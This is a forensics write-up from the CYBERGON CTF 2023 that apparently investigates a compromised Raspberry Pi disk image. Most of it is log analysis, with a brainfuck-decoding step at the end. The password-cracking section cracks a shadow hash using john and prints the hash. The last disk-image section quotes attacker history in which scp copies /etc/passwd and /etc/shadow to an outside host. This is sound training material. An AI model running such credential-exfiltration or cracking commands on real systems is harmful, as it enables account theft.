CYBERGON CTF 2023 Writeup (Forensics)

Team : IIT(BHU)CyberSec

Sep 18, 2023ยท

10 min read

CYBERGON CTF 2023 Writeup (Forensics)

Device Info(ep 1)

Challenge Description

Can you find the operating system information?

Flag Format : CyberGonCTF{osname 00.00.0 XXX} eg. CyberGonCTF{Windows 11.22.1 ABC}

Challenge File (Official Link) [I did not archive the file in case this goes down :(..but the challenges are pretty self-explanatory]


The file was an E01 file, meaning an encase file, a standard for digital forensics for disk images. The first thing was to mount it to my system. I used ParrotOS for this setup.

# Installing tools to mount the image
$ sudo apt install ewf-tools
$ mkdir phy1
$ mkdir log1
$ sudo ewfmount forensics1.E01 ./phy1
$ sudo apt install sleuthkit
$ sudo mmls ./phy1/ewf1
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

      Slot      Start        End          Length       Description
000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
001:  -------   0000000000   0000002047   0000002048   Unallocated
002:  000:000   0000002048   0000526335   0000524288   Win95 FAT32 (0x0c)
003:  000:001   0000526336   0030277598   0029751263   Linux (0x83)
004:  -------   0030277599   0030277631   0000000033   Unallocated
$ echo 526336 \* 512 | bc
$ sudo mount -o ro,norecovery,loop,offset=269484032 ./phy1/ewf1 ./log1
$ cd log1
$ ls
bin   dev  home  lost+found  mnt  proc  run   snap  sys  usr
boot  etc  lib   media       opt  root  sbin  srv   tmp  var

Now we can see the file mounted to our system. Now we try to chroot in this mounted directory using $ sudo chroot ./log1 but there is no bash executable in this mount so we have to work manually. Now to get OS Information we can do this

# Reading etc/os-release file for OS Information
$ cat etc/os-release
VERSION="20.04.5 LTS (Focal Fossa)"
PRETTY_NAME="Ubuntu 20.04.5 LTS"
# The OS name is Ubuntu 20.04.5 LTS

So the flag was CyberGonCTF{Ubuntu 20.04.5 LTS}

Device Info(ep 2)

Challenge Description

Can you find the device ip and hostname?

Flag Format: CyberGonCTF{}


# For finding hostname
$ cat etc/hostname
# For finding IP
$ sudo cat var/log/syslog
... # Other logs not useful for this chall
ci-info: +++++++++++++++++++++++++++++++++++++++++++++Net device info+++++++++++++++++++++++++++++++++++++++++++++
ci-info: +--------+-------+-----------------------------------------+---------------+--------+-------------------+
ci-info: | Device |   Up  |                 Address                 |      Mask     | Scope  |     Hw-Address    |
ci-info: +--------+-------+-----------------------------------------+---------------+--------+-------------------+
ci-info: |  eth0  | False |                    .                    |       .       |   .    | b8:27:eb:fe:83:1a |
ci-info: |   lo   |  True |                      |   |  host  |         .         |
ci-info: |   lo   |  True |                 ::1/128                 |       .       |  host  |         .         |
ci-info: | wlan0  |  True |                   | | global | b8:27:eb:ab:d6:4f |
ci-info: | wlan0  |  True | 2001:fb1:f9:d3c3:ba27:ebff:feab:d64f/64 |       .       | global | b8:27:eb:ab:d6:4f |
ci-info: | wlan0  |  True |       fe80::ba27:ebff:feab:d64f/64      |       .       |  link  | b8:27:eb:ab:d6:4f |
ci-info: +--------+-------+-----------------------------------------+---------------+--------+-------------------+
... # Other logs not useful for this chall
# We can see IP assigned to eth0 here is

Therefore the flag was CyberGonCTF{}

Device Info(ep 3)

Challenge Description

Can you find the first connected WiFi (SSID) and password?

Flag Format: CyberGonCTF{ssid_password}


# Reading logs to find SSID
$ sudo cat var/log/syslog | grep -i ssid
Aug 29 16:28:36 ubuntu wpa_supplicant[1586]: wlan0: Trying to associate with SSID 'Ko_Koe_Lo_Ko_Ko'
Jul 15 12:43:30 ubuntu wpa_supplicant[501]: wlan0: Trying to associate with SSID 'Ko_Koe_Lo_Ko_Ko'
Jul 15 12:48:54 ubuntu wpa_supplicant[512]: wlan0: Trying to associate with SSID 'Ko_Koe_Lo_Ko_Ko'
Jul 15 12:52:18 ubuntu wpa_supplicant[512]: wlan0: CTRL-EVENT-DISCONNECTED bssid=82:36:63:a2:b1:96 reason=1 locally_generated=1
Jul 15 12:56:45 ubuntu wpa_supplicant[1158]: wlan0: Trying to associate with SSID 'Gangsters_2.4G'
Jul 15 13:21:49 ubuntu wpa_supplicant[508]: wlan0: Trying to associate with SSID 'Gangsters_2.4G'
# The first connected would be the one which comes earlier in log, therefore 'Ko_Koe_Lo_Ko_Ko' is the SSID
$ cat etc/netplan/50-cloud-init.yaml
            dhcp4: true
            optional: true
            dhcp4: yes
                    password: "Ah_Nge_Chaw_Yal_Tae_Inn_Tae"
                    password: "N41ng-Ny1"
    version: 2
# The corresponding password is "Ah_Nge_Chaw_Yal_Tae_Inn_Tae"

Therefore the flag was CyberGonCTF{Ko_Koe_Lo_Ko_Ko_Ah_Nge_Chaw_Yal_Tae_Inn_Tae}

Device Info(ep 4)

Challenge Description

Can you find the device model details of the host?

Flag Format: CyberGonCTF{Full Information}


# Reaing kernel log to find hardware details
$ sudo cat var/log/kern.log | grep "Machine model"
Aug 29 16:20:54 ubuntu kernel: [    0.000000] OF: fdt: Machine model: Raspberry Pi 3 Model B Rev 1.2
Jul 15 12:43:30 ubuntu kernel: [    0.000000] OF: fdt: Machine model: Raspberry Pi 3 Model B Rev 1.2
Jul 15 12:48:54 ubuntu kernel: [    0.000000] OF: fdt: Machine model: Raspberry Pi 3 Model B Rev 1.2
Jul 15 12:54:13 ubuntu kernel: [    0.000000] OF: fdt: Machine model: Raspberry Pi 3 Model B Rev 1.2
Jul 15 13:21:49 ubuntu kernel: [    0.000000] OF: fdt: Machine model: Raspberry Pi 3 Model B Rev 1.2

Therefore the flag was CyberGonCTF{Raspberry Pi 3 Model B Rev 1.2}

Attacker IP(ep 5)

Challenge Description

What is the IP address of the attacker? He tried to log in to this computer.

Flag Format: CyberGonCTF{}


# Looking at wtmp logs for correct login events
$ sudo last -f var/log/wtmp
shwehmon pts/2     Sat Jul 15 22:43 - 22:55  (00:12)
ubuntu   pts/2     Sat Jul 15 22:25 - 22:37  (00:11)
ubuntu   pts/1     Sat Jul 15 21:54    gone - no logout
ubuntu   pts/1     Sat Jul 15 21:30 - 21:32  (00:01)
ubuntu   pts/0     Sat Jul 15 21:26    gone - no logout
ubuntu   pts/0     Sat Jul 15 18:58 - 21:26  (02:27)
reboot   system boot  5.4.0-1069-raspi Mon Aug 29 21:50   still running
ubuntu   pts/0     Sat Jul 15 18:27 - 18:51  (00:24)
ubuntu   tty1                          Sat Jul 15 18:24 - down   (00:26)
reboot   system boot  5.4.0-1069-raspi Mon Aug 29 21:50 - 18:51 (319+21:01)
ubuntu   pts/0  Sat Jul 15 18:19 - crash (-319+20:29)
reboot   system boot  5.4.0-1069-raspi Mon Aug 29 21:50 - 18:51 (319+21:01)
ubuntu   tty1                          Sat Jul 15 18:16 - down   (00:01)
ubuntu   pts/0  Sat Jul 15 18:15 - 18:17  (00:01)
reboot   system boot  5.4.0-1069-raspi Mon Aug 29 21:50 - 18:17 (319+20:27)
ubuntu   pts/0  Sat Jul 15 18:09 - 18:09  (00:00)
ubuntu   tty1                          Mon Aug 29 21:53 - crash  (-00:03)
reboot   system boot  5.4.0-1069-raspi Mon Aug 29 21:50 - 18:17 (319+20:27)
# We see multiple possible IPs here so we have to check for failed logins.
# Looking at btmp logs for failed login attempts
$ sudo last -f var/log/btmp
# Results in a lot of such lines
ubuntu   ssh:notty     Sat Jul 15 22:24 - 22:24  (00:00)
# Only the IP has failed login attempts, therefore this is the IP.

Therefore the IP was and flag was CyberGonCTF{}

Success Logon(ep 6)

Challenge Description

Do you know the total number of failed logon from attacker and when attacker got success?

Flag Format: CyberGonCTF{total failed attempts_Mon dd hh:mm:ss}


# Using nl to count the number of attempts
$ sudo last -f var/log/btmp | nl
... # Showing only the last line for count
652    ubuntu   ssh:notty     Sat Jul 15 19:50 - 19:50  (00:00)
# Unfortunately wtmp logs don't give connection time in seconds so have to look at authentication logs
$ sudo cat var/log/auth.log | grep "" | tail -5
Jul 15 16:55:00 ubuntu sshd[1976]: Connection closed by authenticating user ubuntu port 40432 [preauth]
Jul 15 16:55:00 ubuntu sshd[1978]: Connection closed by authenticating user ubuntu port 40458 [preauth]
Jul 15 16:55:26 ubuntu sshd[1984]: Accepted password for ubuntu from port 54296 ssh2
Jul 15 17:07:11 ubuntu sshd[2056]: Received disconnect from port 54296:11: disconnected by user
Jul 15 17:07:11 ubuntu sshd[2056]: Disconnected from user ubuntu port 54296
# Correct login at Jul 15 16:55:26, from wtmp can be checked that attacker logins only once at 16:55

Therefore the flag was CyberGonCTF{652_Jul 15 16:55:26}

New User(ep 7)

Challenge Description

After success logon, the attacker added new user for Persistence. Can you find the username and password?

Flag Format: CyberGonCTF{username, password}
Password Hint - husband name (included two capital letters) + 4 digits


# Checking users added
$ sudo cat var/log/auth.log | grep "new user"
Aug 29 16:20:54 ubuntu useradd[669]: new user: name=ubuntu, UID=1000, GID=1000, home=/home/ubuntu, shell=/bin/bash, from=none
Aug 29 16:21:18 ubuntu useradd[1130]: new user: name=lxd, UID=998, GID=100, home=/var/snap/lxd/common/lxd, shell=/bin/false, from=none
Jul 15 16:13:24 ubuntu useradd[1434]: new user: name=phyuphyuhtwe, UID=1001, GID=1001, home=/home/phyuphyuhtwe, shell=/bin/bash, from=/dev/pts/0
Jul 15 16:14:35 ubuntu useradd[1464]: new user: name=saisaikhamhlaing, UID=1002, GID=1002, home=/home/saisaikhamhlaing, shell=/bin/bash, from=/dev/pts/0
Jul 15 16:19:21 ubuntu useradd[1500]: new user: name=hlwanpaing, UID=1003, GID=1003, home=/home/hlwanpaing, shell=/bin/bash, from=/dev/pts/0
Jul 15 16:24:54 ubuntu useradd[1625]: new user: name=kyawgyi, UID=1004, GID=1004, home=/home/kyawgyi, shell=/bin/bash, from=/dev/pts/1
Jul 15 17:04:37 ubuntu useradd[2091]: new user: name=shwehmoneyati, UID=1005, GID=1005, home=/home/shwehmoneyati, shell=/bin/bash, from=/dev/pts/2
# User shwehmoneyati added in time attacker was logged in
# Retreaving etc/shadow and etc/passwd files
$ sudo cat etc/shadow | grep shwehmoneyati | tee ~/shadow
$ sudo cat etc/passwd | grep shwehmoneyati | tee ~/passwd
shwehmoneyati:x:1005:1005:Shwe Hmone Yati,105,09450062226,:/home/shwehmoneyati:/bin/bash
# Looked for husband name in user files but couldn't find anything. Then saw the name of the user and google searched.
# Turned out Shwe Hmone Yati is an actress whose husband name is Shwe Htoo
# Creating all possible password combinations from given hint
$ python3 -c "print('\n'.join(f'ShweHtoo{x:04d}' for x in range(1, 10000)))" > ~/wordlist
# Using unshadow and john to crack the password
# From home directory
$ unshadow passwd shadow |tee passwords
shwehmoneyati:$6$8Da3ntmDvkfqYTP6$V3XYeRQdVVfDvQD157uLpoDFP8lFI5We3qmWpO0Zr.Enrg1ZcLVUdU9lJ0a1VPsUg1iL8FowgLAgWXczUgQ28.:1005:1005:Shwe Hmone Yati,105,09450062226,:/home/shwehmoneyati:/bin/bash
$ john passwords --wordlist=wordlist
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ShweHtoo1500     (shwehmoneyati)
1g 0:00:00:03 DONE (2023-08-24 00:21) 0.2659g/s 408.5p/s 408.5c/s 408.5C/s ShweHtoo1281..ShweHtoo1536
Use the "--show" option to display all of the cracked passwords reliably
Session completed
# Got the password ShweHtoo1500

Therefore the flag was CyberGonCTF{shwehmoneyati, ShweHtoo1500}

Stolen Data(ep 8)

Challenge Description

The attacker tried to export from victim machine to his machine. Can you find the attacker username and ip address?

Flag Format: CyberGonCTF{}


# Had no idea where to found this. So started exploring user files in general.
# Was unable to solve. The intended solution was this.
$ sudo cat root/.bash_history
cd /etc/netplan/
copy 50-cloud-init.yaml
cp 50-cloud-init.yaml 50-cloud-init-original.yaml
nano 50-cloud-init.yaml 
netplan apply
service ssh start
apt install net-tools
cd /home
cd ubuntu
cat .bash_history
ls -la
cd /root
ls -la
cat .bashrc
release -a
apt install bikeshed
apt update
apt upgrade
cd /home
cd ubuntu
ls -la
cd /var/log
ip -a
shutdown now
ls -la
cat .bash_history 
cd /root
cat .bash_history 
shutdown now
netplan apply
nano /etc/netplan/50-cloud-init.yaml 
netplan apply
shutdown now
adduser shwehmoneyati
scp /etc/passwd kali@
scp /etc/shadow kali@
# We can see kali@ here.

Therefore the flag was CyberGonCTF{kali_192.168.253.144}

Hide and Seek

Challenge Description

Our SOC team detected a data exfiltration case where an employee from the sales department uploaded some files to his personal cloud storage every day this week. After checking all the files, we have suspected one file is Secret_File.docx. Can you help us find the secret data in this file?

Challenge File (Official Link)

Challenge FIle (Mirror for after CTF server goes down)


# Knowing .docx are zipped xml files we unzip it.
$ unzip Secret_File.docx 
Archive:  Secret_File.docx
  inflating: [Content_Types].xml     
  inflating: _rels/.rels             
  inflating: word/document.xml       
  inflating: word/_rels/document.xml.rels  
  inflating: word/footnotes.xml      
  inflating: word/endnotes.xml       
  inflating: word/header1.xml        
  inflating: word/theme/theme1.xml   
  inflating: word/settings.xml       
  inflating: word/styles.xml         
  inflating: word/webSettings.xml    
  inflating: word/fontTable.xml      
  inflating: docProps/core.xml       
  inflating: docProps/app.xml
# Looking at each file for suspicious content
# At the end of word/header1.xml we see strings of +, - and . that looks like brainfuck
# Cleaning the string
$ echo "++++++++++[&gt;+&gt;+++&gt;+++++++&gt;++++++++++&lt;&lt;&lt;&lt;-]&gt;&gt;&gt;---.&gt;+++++++++++++++++++++.-----------------------.+++.+++++++++++++.&lt;++++.&gt;---.-.&lt;----.+++++++++++++++++.--------------.&gt;+++++++++++++.&lt;-----------------.--.&gt;------------------------.-----------------.&lt;.++++.&gt;+++++++++++++.&lt;+++++++++++++.----------------.+++.---.&gt;.&lt;---.&gt;+++++++++++++++.---------------.&lt;+++++++++++++++++++++++.&lt;+++++++++++++++++++++.+.&gt;&gt;+++++.&lt;&lt;-.&gt;++++++++++.&gt;+++++++++++++++++++++++++." | sed 's/&gt;/>/g' | sed 's/&lt;/</g'
# Using for decoding we get the flag as CyberGonCTF{53cR37_D474_1n_H34d3R}

Therefore the flag is CyberGonCTF{53cR37_D474_1n_H34d3R}

Overall the quality of CTF was quite good, and the Incident Response challenges were a good linux refresher. The Hide and Seek challenge was pretty basic and repetitive one but encoding in BrainF*ck was a good move from organizers.
Hope you liked the writeup!

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Team : IIT(BHU)CyberSec
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